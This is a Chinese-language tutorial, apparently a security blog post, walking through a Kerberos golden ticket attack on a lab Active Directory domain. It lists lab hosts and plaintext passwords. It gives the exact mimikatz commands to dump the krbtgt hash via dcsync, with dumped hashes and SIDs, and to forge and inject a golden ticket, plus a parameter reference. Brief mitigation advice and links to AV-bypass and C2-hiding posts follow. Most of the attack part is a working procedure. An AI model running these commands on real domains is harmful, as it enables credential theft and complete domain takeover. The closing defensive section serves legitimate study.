Kerberos认证原理网上讲的有很多很详细,在此就不赘述,直接实战过程。
域控:
IP:192.168.3.142
域名:0day.org
主机名:OWA2010SP3
用户名:administrator
密码:Admin12345
域机器:
IP:192.168.3.68
域名:0day.org
用户名:administrator
密码:admin[email protected]#45
黄金票据利用条件:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
利用mimikatz获取Krbtgt的NTLM HASH、SID等信息
mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:0day.org /user:krbtgt" "exit"
提取部分信息:
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/5/19 6:40:46
Object Security ID : S-1-5-21-1812960810-2335050734-3517558805-502
Object Relative ID : 502
Credentials:
Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2
ntlm- 0: 36f9d9e6d98ecf8307baf4f46ef842a2
lm - 0: 47c5bb5ef18a11f910970a60ecd6c95b
Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : 0DAY.ORGkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : dbc55f9f925de5a482d3bf5ede7d0d46d4b121c01bdd9d06be4aed367212d3f9
aes128_hmac (4096) : ee76ee32ff14974d8a6248c52f1bfe97
des_cbc_md5 (4096) : bf571a26da68d6f8
我们需要用到的信息如下:
Hash NTLM: 36f9d9e6d98ecf8307baf4f46ef842a2
SID : S-1-5-21-1812960810-2335050734-3517558805-502
在未注入票据前我们dir看一下发现域成员机器是查看不到域控的共享信息
net group "domain admins" /domain //查询域管理员命令
wmic useraccount get name,sid //获取域SID
whoami /user //获取当前用户的SID
Mimikatz命令格式如下:
kerberos :: golden / user:ADMIINACCOUNTNAME / domain:DOMAINFQDN / id:ACCOUNTRID / sid:DOMAINSID / krbtgt:KRBTGTPASSWORDHASH / ptt
示例:
kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi
/domain -----完整的域名,在这个例子中:“lab.adsecurity.org”
/ sid ----域的SID,在这个例子中:“S-1-5-21-1473643419-774954089-2222329127”
/ sids --- AD森林中账户/组的额外SID,凭证拥有权限进行欺骗。通常这将是根域Enterprise Admins组的“S-1-5-21-1473643419-774954089-5872329127-519”值。Ť
/ user ---伪造的用户名
/ groups(可选)---用户所属的组RID(第一组是主组)。添加用户或计算机帐户RID以接收相同的访问权限。默认组:513,512,520,518,519为默认的管理员组。
/ krbtgt---域KDC服务帐户(KRBTGT)的NTLM密码哈希值。用于加密和签署TGT。
/ ticket(可选) - 提供一个路径和名称,用于保存Golden Ticket文件以便日后使用或使用/ ptt立即将黄金票据插入内存以供使用。
/ ptt - 作为/ ticket的替代品 - 使用它来立即将伪造的票据插入到内存中以供使用。
/ id(可选) - 用户RID。Mimikatz默认值是500(默认管理员帐户RID)。
/ startoffset(可选) - 票据可用时的起始偏移量(如果使用此选项,通常设置为-10或0)。Mimikatz默认值是0。
/ endin(可选) - 票据使用时间范围。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为10小时(600分钟)。
/ renewmax(可选) - 续订最长票据有效期。Mimikatz默认值是10年(〜5,262,480分钟)。Active Directory默认Kerberos策略设置为7天(10,080分钟)。
/ sids(可选) - 设置为AD林中企业管理员组(ADRootDomainSID)-519)的SID,以欺骗整个AD林(AD林中每个域中的AD管理员)的企业管理权限。
/ aes128 - AES128密钥
/ aes256 - AES256密钥
黄金票默认组:
域用户SID:S-1-5-21 <DOMAINID> -513
域管理员SID:S-1-5-21 <DOMAINID> -512
架构管理员SID:S-1-5-21 <DOMAINID> -518
企业管理员SID:S-1-5-21 <DOMAINID> -519(只有在森林根域中创建伪造票证时才有效,但为AD森林管理员权限添加使用/ sids参数)
组策略创建者所有者SID:S-1-5-21 <DOMAINID> -520
获取域SID命令:
wmic useraccount get name,sid
C:\Users\Administrator>wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1812960810-2335050734-3517558805-500
Guest S-1-5-21-1812960810-2335050734-3517558805-501
krbtgt S-1-5-21-1812960810-2335050734-3517558805-502
SM_32dfa537f3d34e8db S-1-5-21-1812960810-2335050734-3517558805-1119
SM_b9293dd4eb974c39a S-1-5-21-1812960810-2335050734-3517558805-1120
SM_a53ca95cbbc2400a8 S-1-5-21-1812960810-2335050734-3517558805-1121
SM_cabbcb1fa25c4786a S-1-5-21-1812960810-2335050734-3517558805-1123
itadmin S-1-5-21-1812960810-2335050734-3517558805-1125
antivirus S-1-5-21-1812960810-2335050734-3517558805-1126
mary S-1-5-21-1812960810-2335050734-3517558805-1127
jerry S-1-5-21-1812960810-2335050734-3517558805-1128
hr S-1-5-21-1812960810-2335050734-3517558805-1129
lowser S-1-5-21-1812960810-2335050734-3517558805-1131
jack S-1-5-21-1812960810-2335050734-3517558805-1133
alan S-1-5-21-1812960810-2335050734-3517558805-1134
tadmin S-1-5-21-1812960810-2335050734-3517558805-1136
boss S-1-5-21-1812960810-2335050734-3517558805-1137
dev S-1-5-21-1812960810-2335050734-3517558805-1138
backup S-1-5-21-1812960810-2335050734-3517558805-1140
sqlsvr S-1-5-21-1812960810-2335050734-3517558805-1141
sqladmin S-1-5-21-1812960810-2335050734-3517558805-1142
webadmin S-1-5-21-1812960810-2335050734-3517558805-1143
ftpuser S-1-5-21-1812960810-2335050734-3517558805-1153
websvr S-1-5-21-1812960810-2335050734-3517558805-1158
klion S-1-5-21-1812960810-2335050734-3517558805-1159
klionsec S-1-5-21-1812960810-2335050734-3517558805-1161
0day S-1-5-21-1812960810-2335050734-3517558805-1162
test S-1-5-21-1812960810-2335050734-3517558805-1163
Redteamer S-1-5-21-1812960810-2335050734-3517558805-1169
RedTeamBox S-1-5-21-1812960810-2335050734-3517558805-1171
secretary S-1-5-21-1812960810-2335050734-3517558805-1173
获取当前用户的SID
whoami /user
查询域管理员账号
net group "domain admins" /domain
我们之前已经获取到了域控的SID以及NTLM Hash等信息,接下来利用mimikatz生成包含krbtgt身份的票据,命令执行成功会在当前目录下生成kirbi文件
kerberos::golden /user:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:Xiao.kirbi
/admin:伪造的用户名
/domain: 域名
/sid:SID值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称
票据传递并注入内存
注入成功,查看注入的票据。发现票据已经在内存中了
kerberos::tgt
获取域控权限
清除当前主机会话中的票据:
kerberos::purge
1.限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机。这降低攻击者通过横向扩展,获取域管理员的账户,获得访问域控制器的Active Directory的ntds.dit的权限。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码。
2.建议定期更改KRBTGT密码。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法。
3.一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力。
4.侦测监视异常的Kerberos活动,例如Windows登录/注销事件(事件ID 4624、4672、4634)中的格式错误或空白字段,TGT中的RC4加密以及TGS请求,而无需前面的TGT请求。监视TGT票证的生存期,以获取与默认域持续时间不同的值。
>精彩回顾<
Cobalt Strike免杀脚本生成器|cna脚本|bypassAV
xss bypass备忘单|xss绕过防火墙技巧|xss绕过WAF的方法
【贼详细 | 附PoC工具】Apache HTTPd最新RCE漏洞复现
【神兵利器 | 附下载】一个用于隐藏C2的、开箱即用的Tools
关注我
获得更多精彩
坚持学习与分享!走过路过点个"在看",不会错过
仅用于学习交流,不得用于非法用途
如侵权请私聊公众号删文